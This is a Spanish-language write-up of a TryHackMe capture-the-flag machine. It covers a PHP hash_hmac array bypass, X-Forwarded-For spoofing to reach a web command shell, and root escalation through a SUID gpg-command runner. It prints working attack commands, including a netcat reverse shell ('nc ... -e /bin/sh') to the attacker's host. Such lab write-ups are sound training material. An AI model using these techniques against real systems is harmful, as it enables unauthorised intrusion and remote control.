Esta máquina está completamente inspirada en un pentesting real. Puede que sea un desafío pero no encontrarás ningun rabbit hole.
Enumeración
Tras un escaneo veo que la máquina tiene 3 puertos abiertos.
PORT STATE SERVICE REASON
2/tcp open compressnet syn-ack
22/tcp open ssh syn-ack
80/tcp open http syn-ack
Utilizo netcat para poder averiguar que tipos de servicios estan detrás de esos puertos.
nc 10.10.224.104 22
SSH-2.0-OpenSSH_8.3
nc 10.10.224.104 2
SSH-2.0-OpenSSH_7.6p1 Ubuntu-4ubuntu0.3
Por alguna razón cuenta con 2 ssh distintos…
Accedo a puerto 80 desde el navegador. La página no existe.
Pero en el navegador vemos una referencia interesante a un dominio en las cookies pwd.harder.local.
Añadimos este dominio a nuestro host file y volvemos vamos al navegador para ver donde nos lleva.
echo "10.10.204.104 pwd.harder.local" >> /etc/hosts
Nos encontramos con un portal de autentificación. Pruebo primero a poner hola@hola y me dice que los credenciales no son válidos. Depués pruebo con Admin@Admin.
extra security in place. our source code will be reviewed soon …
Parece ser que estos credenciales sí son correctos pero no nos llevan a ningún lado.
Procedo a hacer fuzzing en web para ver si nos estamos perdiendo algo.
Pruebo con gobuster
:
./gobuster dir -u http://pwd.harder.local/ -w /usr/share/dirbuster/wordlists/directory-list-2.3-medium.txt
Pero después de un rato no me aroja ningún resultado así que decido cambiar de
fuzzer, esta vez con dirb
.
dirb http://pwd.harder.local
Nos muestra que la página en si es un repo de git.
Existe una herramienta para dumpear todo el contenido de un repositorio git se llama gitdumper
, su uso es muy sencillo.
git-dumper -u http:/pwd.harder.local gitdump/
Explotación
Abrimos el index y vemos que llama a auth.php, hmac.php y a credentials.
Según hemos visto en el .gitignore existen otros ficheros que no tenemos así que tendremos que encontrar otra forma de afrontarlo.
index.php
<?php
session_start();
require("auth.php");
$login = new Login;
$login->authorize();
require("hmac.php");
require("credentials.php");
?>
Nos vamos a auth.php y lo que sacamos de aquí es que efectivamente el usuario y la contraseña eran admin/admin y por otro lado esta parte del código es la que se encarga de comprobar las coockies una vez estamos autentificados. Cosa que ahora no nos interesa, así que nos vamos al hmac.php.
auth.php
<?php
define('LOGIN_USER', "admin");
define('LOGIN_PASS', "admin");
....
....
....
function authorize() {
//save cookie info to session
if(isset($_COOKIE[$this->prefix.'user'])){
$_SESSION[$this->prefix.'user'] = $_COOKIE[$this->prefix.'user'];
$_SESSION[$this->prefix.'pass'] = $_COOKIE[$this->prefix.'pass'];
}
hmac.php
Aquí es donde viene lo interesante, según como ha planteado el codigo el desarollador existe la posibilidad de bypasear esta comprobación.
if (empty($_GET['h']) || empty($_GET['host'])) {
header('HTTP/1.0 400 Bad Request');
print("missing get parameter");
die();
}
require("secret.php"); //set $secret var
if (isset($_GET['n'])) {
$secret = hash_hmac('sha256', $_GET['n'], $secret);
}
$hm = hash_hmac('sha256', $_GET['host'], $secret);
if ($hm !== $_GET['h']){
header('HTTP/1.0 403 Forbidden');
print("extra security check failed");
die();
La funciión hash_hmac()
genera un hashes. Recibe el tipo de algoritmo a aplicar, la llave a utilizar y los datos a hashear:
hash_hmac('Algoritmo a aplicar', 'datos a hashear',' clave a utilizar')
Lo interesante de esta función es que cuando se le pasa un array en vez de una cadena como datos a hashear, la función en vez de devolver un hash devuelve FALSE.
Entonces tengamos el supuesto donde n
es n[1,2]
la la cosa quedaría así:
$secret = hash_hmac('sha256', n[1,2], $secret);
echo $secret
output: False
Bueno, ¿y Para qué nos sirve que este $secret
nos devuelva false? Pues bien, resulta que la función hash_hmac()
si recibe como llave False simplemente creará un hash con el algoritmo seleccionado y los datos introducidos.
Esto nos dá pie a poder generar nosotros nuestros propios hashes Sha256 en nuestra maquina local para saber el hash que generamos pasandole cualquier texto que queramos.
<?php
$hm = hash_hmac('sha256', "hola", false);
echo $hm;
?>
php evil.php
ad56d1d3cef70fdf5ae0ecd769c8912415f195a7adf7fb5e4f523fed5aca05f4
Ya tenemos nuestro hash listo! Ahora tendríamos que craftear la url para pasar los diferentes argumentos y bypasear la comprobación.
n -> n[1]
host -> hola
h - > ad56d1d3cef70fdf5ae0ecd769c8912415f195a7adf7fb5e4f523fed5aca05f4
Esto nos quedaría algo tal que así:
http://pwd.harder.local/index.php?n[1]&host=hola&h=ad56d1d3cef70fdf5ae0ecd769c8912415f195a7adf7fb5e4f523fed5aca05f4
Tenemos nueva información, un nuevo dominio, shell.harder.local
y unos credenciales.
Estos credenciales podrian se un usuario de la máquina. Pruebo a conectarme por ssh
pero parece ser que no tenemos acceso por ssh
.
└─$ ssh evs@10.10.65.109
The authenticity of host '10.10.65.109 (10.10.65.109)' can't be established.
ED25519 key fingerprint is SHA256:qe/uay80+hZjgfhQilcT9xOMMgrAk0nCK7Ng5g7bLMM.
Are you sure you want to continue connecting (yes/no/[fingerprint])? yes
Warning: Permanently added '10.10.65.109' (ED25519) to the list of known hosts.
evs@10.10.65.109's password:
Permission denied, please try again.
Vamos al nuevo dominio y nos encontramos con otro portal de autentificación.
Probamos los credenciales anteriores pero parece que están limitando el acceso por ip.
Your IP is not allowed to use this webservice. Only 10.10.10.x is allowed
Analizando las cabezeras con burpsuite
vemos lo siguiente.
Existe una cabezera llamada X-Forwarded-For
que se utiliza para indentificar la ip cliente que se está conectando via web a travez de un proxy. Añadimos esta cabezera con una ip dentro del rango permitido X-Forwarded-For 10.10.10.2
y conseguimos bypasear el filtro de Ip, llegamos a lo que parece una consola de comandos.
Probamos a enviar un comando pero nos vuelve a dar el mismo problema que antes, tenemos que añadir de nuevo la cabezera con la ip dentro del rango. Hacer esto con burpsuite
me parece demasiado tedioso así copio toda la información de las peticiones para hacerlo todo con curl
.
Preparo un pequeño script para poder lanzar comandos por argumentos:
#!/bin/bash
curl -s -X POST "http://shell.harder.local/index.php" -d "cmd=$1" -H "Cookie: PHPSESSID=qjegium4cpvu5jaep2hsbb2hdk" -H "X-Forwarded-For: 10.10.10.5" | grep "<pre>" -a10 | grep -v "<\|>"
./cmd.sh whoami
www
Buscando un poco por la máquina me encuentro en /etc
una carpeta fuera de lo normal periodic/
, dentro de ella hay otras carpetas pero en una de ellas encontramos un script llamado evs-backup.sh. Al abrirlo vemos que tiene unos credenciales. Pruebo estos nuevos credenciales mediante ssh.
Busco archivos con permisos especiales:
find . -perm /4000 2>/dev/null
./usr/local/bin/execute-crypted
Lo ejecutamos y practicamente nos muestra lo que tenemos que hacer paso a paso:
[*] Current User: root
[-] This program runs only commands which are encypted for root@harder.local using gpg.
[-] Create a file like this: echo -n whoami > command
[-] Encrypt the file and run the command: execute-crypted command.gpg
Pero primero tenemos que encontrar la clave gpg de root.
find / 2>/dev/null | grep "root"
/var/backup/root@harder.local.pub
Una vez tenemos localizada la clave gpg tenemos que añadirla a nuestro ring de claves publicas, para ello tenemos gpg import.
gpg --import /var/backup/root@harder.local.pub
Una vez lista importada la clave creamos el archivo a cifrar:
echo -n 'nc 10.11.34.53 4545 -e /bin/sh' > cmd
Encriptamos el fichero con la clave publica de root:
gpg -r root -e cmd
Donde -r
se refiere al destinatario, en nuestro caso ponemos root
para utilizar su clave publica y -e
para encriptar.
Esto nos ha generado un fichero .gpg
se lo pasamos al binario con suid…
Y conseguimos una shell de root:
└─$ nc -vlp 4545
listening on [any] 4545 ...
connect to [10.11.34.53] from pwd.harder.local [10.10.65.109] 34439
whoami
root
Refs
https://tryhackme.com/room/harder https://www.php.net/manual/es/function.hash-hmac.php https://tutorialdeep.com/knowhow/declare-an-array-php/ https://simple.wikipedia.org/wiki/X-Forwarded-For